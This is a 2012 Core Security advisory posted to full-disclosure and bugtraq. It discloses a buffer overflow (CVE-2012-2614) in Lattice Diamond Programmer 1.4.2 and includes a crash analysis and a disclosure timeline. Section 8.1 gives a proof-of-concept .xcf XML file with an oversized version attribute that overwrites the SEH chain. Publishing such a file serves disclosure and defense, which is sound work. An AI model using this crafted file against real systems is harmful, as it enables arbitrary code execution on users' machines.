Message-ID: <4FE38608.4080601@coresecurity.com>
Date: Thu, 21 Jun 2012 17:37:28 -0300
From: CORE Security Technologies Advisories <advisories@...esecurity.com>
To: full-disclosure <full-disclosure@...ts.grok.org.uk>, 
	bugtraq <bugtraq@...urityfocus.com>
Subject: CORE-2012-0530 - Lattice Diamond Programmer
	Buffer Overflow

Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Lattice Diamond Programmer Buffer Overflow


1. *Advisory Information*

Title: Lattice Diamond Programmer Buffer Overflow
Advisory ID: CORE-2012-0530
Advisory URL:
http://www.coresecurity.com/content/lattice-diamond-programmer-buffer-overflow
Date published: 2012-06-21
Date of last update: 2012-06-21
Vendors contacted: Lattice Semiconductor Corporation
Release mode: User release


2. *Vulnerability Information*

Class: Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2012-2614


3. *Vulnerability Description*

Lattice Diamond Programmer [1] is vulnerable to client-side attacks,
which can be exploited by remote attackers to run arbitrary code by
sending specially crafted '.xcf' files.


4. *Vulnerable packages*

   . Diamond Programmer 1.4.2 for Windows.
   . Older versions are probably affected too, but they were not checked.


5. *Non-vulnerable packages*

   . Vendor did not provide this information.


6. *Vendor Information, Solutions and Workarounds*

The vendor did not reply any contact email sent by Core Security
Advisories Team. Contact Lattice for further information about this
issue [2]. Given that this is a client-side vulnerability, affected
users should not open untrusted '.xcf' files using 'programmer.exe' nor
'deployment.exe'.


7. *Credits*

This vulnerability was discovered and researched by Daniel Kazimirow and
Ricardo Narvaja from Core Security Exploit Team.


8. *Technical Description / Proof of Concept Code*

This vulnerability can be exploited by opening a specially crafted
'.xcf' file from 'programmer.exe'. The module 'deployment.exe' may also
be vulnerable, but this possiblity was not researched any further.

The XML file showed at [Sec. 8.1] crashes 'programmer.exe' at the address:

/-----
00FB5E20    8A0402          MOV AL,BYTE PTR DS:[EDX+EAX]
00FB5E23    C2 0400         RETN 4
-----/

 and overwrites the SEH chain (there is no SEH protection) with
'41414141', which is proof that the buffer was overflown. This means
that there is a buffer overflow vulnerability, and 'EIP' can be set to
an arbitrary value, allowing an attacker to take control of the machine.


8.1. *Proof of Concept*

/-----
<?xml version='1.0' encoding='utf-8' ?>
<!DOCTYPE        ispXCF    SYSTEM    "IspXCF.dtd" >
<ispXCF
version="8.9.09.09999999999AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
    <Comment></Comment>
    <Chain>
        <Comm>JTAG</Comm>
        <Device>
            <Pos>1</Pos>
            <Vendor>Lattice</Vendor>
            <Family>ispLSI 5000VE</Family>
            <Name>5256VE</Name>
            <IDCode>0x00368043</IDCode>
            <Package>128-pin TQFP</Package>
            <PON>ispLSI5256VE-XXLT128</PON>
            <Bypass>
                <InstrLen>5</InstrLen>
                <InstrVal>11111</InstrVal>
                <BScanLen>1</BScanLen>
                <BScanVal>0</BScanVal>
            </Bypass>
            <File>C:\ispTOOLS\ispvmsystem\TutorialU6vea.jed</File>
            <FileTime>05/17/02 18:15:33</FileTime>
            <JedecChecksum>0xF9BD</JedecChecksum>
            <Operation>Erase,Program,Verify</Operation>
            <Option>
                <SVFVendor>JTAG STANDARD</SVFVendor>
                <IOState>HighZ</IOState>
               
<IOVectorData>0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</IOVectorData>
                <Reinitialize value="TRUE"/>
                <OverideUES value="TRUE"/>
                <TCKFrequency>1.000000 MHz</TCKFrequency>
                <SVFProcessor>ispVM</SVFProcessor>
                <Usercode>0x0000F9BD</Usercode>
            </Option>
        </Device>
    </Chain>
    <ProjectOptions>
        <Program>SEQUENTIAL</Program>
        <Process>ENTIRED CHAIN</Process>
        <OperationOverride>No Override</OperationOverride>
        <StartTAP>TLR</StartTAP>
        <EndTAP>TLR</EndTAP>
        <DeGlitch value="TRUE"/>
        <VerifyUsercode value="TRUE"/>
        <PinSetting>
            TMS    LOW;
            TCK    LOW;
            TDI    LOW;
            TDO    LOW;
            TRST    ABSENT;
            CableEN    HIGH;
        </PinSetting>
    </ProjectOptions>
</ispXCF>
-----/


9. *Report Timeline*

. 2012-05-30:
Core Security Technologies notifies Lattice Semiconductor Corporation of
the vulnerability. Publication date is set for June 26th, 2012.

. 2012-06-06:
Core notifies Lattice Semiconductor Corporation of the vulnerability.

. 2012-06-11:
Core notifies that the previous emails were not answered and requests
for a reply.

. 2012-06-11:
Vendor asks Core to remove their email addresses from Core's mailing lists.

. 2012-06-11:
Core requests an email address or any other security contact information
at Lattice in order to begin discussions in regards to the
vulnerability. No reply was received.

. 2012-06-21:
Advisory CORE-2012-0530 published.


10. *References*

[1] http://www.latticesemi.com/products/designsoftware/diamond/index.cfm.
[2] Lattice technical support, mailto:techsupport@...ticesemi.com.


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


12. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2011 Core Security
Technologies and (c) 2011 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.



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